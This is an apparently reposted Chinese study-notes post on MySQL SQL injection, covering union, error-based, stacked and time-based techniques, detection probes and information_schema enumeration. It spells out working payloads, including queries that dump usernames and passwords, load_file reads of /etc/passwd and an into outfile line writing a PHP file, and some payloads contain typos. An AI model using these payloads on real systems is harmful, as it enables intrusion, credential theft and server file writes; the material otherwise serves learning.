ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

sql注入学习总结(未完待续)

2022-04-01 23:02:50  阅读:172  来源: 互联网

标签:总结 xml NAME 数据库 未完待续 select sql concat 注入


什么是SQL注入
SQL注入(Sql Injection )

是一种将SQL语句插入或添加到应用(用户)的输入参数中的攻击
这些参数传递给后台的SQL数据库服务器加以解析并执行
哪里存在SQL注入?

GET
POST
HTTP头部注入
Cookie注入
任何客户端可控,传递到服务器的变量,并且和数据库进行交互,都有可能存在sql注入。

SQL注入的分类

根据SQL数据类型分类

联合注入

 

 

在可以联合查询的题目中,一般会将数据库查询的数据回显到首页面中,这是联合注入的前提。

 

 

适用于有回显同时数据库软件版本是5.0以上的MYSQL数据库,因为MYSQL会有一个系统数据库information_schema, information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等

报错注入

 

 

现在非常多的Web程序没有正常的错误回显,这样就需要我们利用报错注入的方式来进行SQL注入了

 

 

报错注入的利用步骤和联合注入一致,只是利用函数不同。

 

 

以updatexml为例。

 

 

UpdateXML(xml_target, xpath_expr, new_xml)

 

 

xml_target: 需要操作的xml片段

 

 

xpath_expr: 需要更新的xml路径(Xpath格式)

 

 

new_xml: 更新后的内容

 

 

此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ,然后返回更改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。

 

 

这个函数当xpath路径错误时就会报错,而且会将路径内容返回,这就能在报错内容中看到我们想要的内容。

 

 

而且以~开头的内容不是xml格式的语法,那就可以用concat函数拼接~使其报错,当然只要是不符合格式的都可以使其报错。

 

堆叠注入

 

 

堆叠注入就是多条语句一同执行。

 

 

原理就是mysql_multi_query() 支持多条sql语句同时执行,用;分隔,成堆的执行sql语句。

 

 

比如

 

 

select databse();select * from users;

 

 

在权限足够的情况下甚至可以对数据库进行增删改查。但是堆叠注入的限制是很大的。但是与union联合执行不同的是它可以同时执行无数条语句而且是任何sql语句。而union执行的语句是有限的。

 

基于时间的盲注

 

 

时间盲注用于代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息

 

 

语句执行后也不提示真假,我们不能通过页面的内容来判断

 

 

所以有布尔盲注就必有时间盲注,但有时间盲注不一定有布尔盲注

 

 

时间盲注主要是利用sleep函数让网页的响应时间不同从而实现注入。

 

如何去判断SQL注入漏洞

and 1=1 / and 1=2 回显页面不同(整形判断)
单引号判断 ‘ 显示数据库错误信息或者页面回显不同(整形,字符串类型判断)
\ (转义符)
-1/+1 回显下一个或上一个页面(整型判断)
and sleep(5) (判断页面返回时间)
MySQL数据库的特性
MySQL中3种注释风格
# (url编码为%23)

– (–后边要跟上一个或多个空格 --+)

/* … */

/*! … */ 内联注释

select * /!22222from/ users;(注:22222低于数据库版本号(5[0].7.20)就可显示from)

MySQL函数利用
常用函数
user()
database()
@@version
session_user()
@@basedir
@@datadir
@@version_compile_os
load_file( )函数 读文件操作
前提

知道文件绝对路径
能够使用union查询
对web目录有写权限
UNION SELECT 1,load_file(’/etc/passwd’),3,4,5,6#
UNION SELECT 1,load_file(0x2f6574632f706173737764),3,4,5,6#

into outfile( )写文件操作
前提

文件名必须全路径(绝对路径),
用户必须有写文件的权限
没有对 ‘ 引号过滤
SELECT ‘<?php phpinfo(); ?>’ into outfile ‘c:\Windows\tmp\1.php’

连接字符串函数
concat(str1,str2)
concat_ws(separator, str1,str2…)
group_concat(str1,str2…)
MySQL中information_scheme库
SCHEMATA表
字段:SCHEMA_NAME
TABLES表
字段:TABLE_SCHEMA, TABLE_NAME
COLUMNS表
字段:TBALE_SCHEMA,TABLE_NAME,COLUMN_NAME

MySQL中UNION规则
UNION必须由两条或两条以上的SELECT语句组成,语句之间用关键字UNION分隔
UNION中的每个查询必须包含相同的列。
UNION会从查询结果集中自动去除了重复行。
UNION query SQl injection

 

注入步骤

判断列数

order by 10
order by 20
order by 15

判断显示位

url?id=-1 union select 1,2,3,4,5

获取当数据库名称和当前连接数据库的用户

url?id=-1 union select 1,2,databaes(),4,5
url?id=-1 union select 1,2,user(),4,5

列出所有数据库

limit 一个一个打印出来库名
select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1
group_concat 一次性全部显示
select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

列出(数据库:test)中所有的表

limit 一个一个打印出来字段名
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=‘test’
limit 0,1
group_concat 一次性全部显示
select group_concat(TABLE_NAME) from information_schema.TABLES where
TABLE_SCHEMA=0x674657374
注意:数据库名称可以用十六进制来代替字符串,这样可以绕过单引号的限制。

列出(数据库:test 表:admin )中所有的字段

limit 一个一个打印出来
select COLUMN_NAME from information_schema.COLUMNS where
TABLE_SCHEMA=‘baji’ and TABLE_NAME=‘users’ limit 0,1
group_concat 一次性全部显示
select group_concat(COLUMN_NAME) from information_schema.COLUMNS where
TABLE_SCHEMA=0x74657374 and TABLE_NAME=0x61646d696e

列出(数据库:test 表:admin )中的数据

limit 一个一个打印出来
select username,passwd from test.admin limit 0,1
group_concat 把 一次性全部打印
select group_concat(concat(username,0x20,passwd)) from test.admin
network

标签:总结,xml,NAME,数据库,未完待续,select,sql,concat,注入
来源: https://www.cnblogs.com/Rammstein-and-rock/p/16089575.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有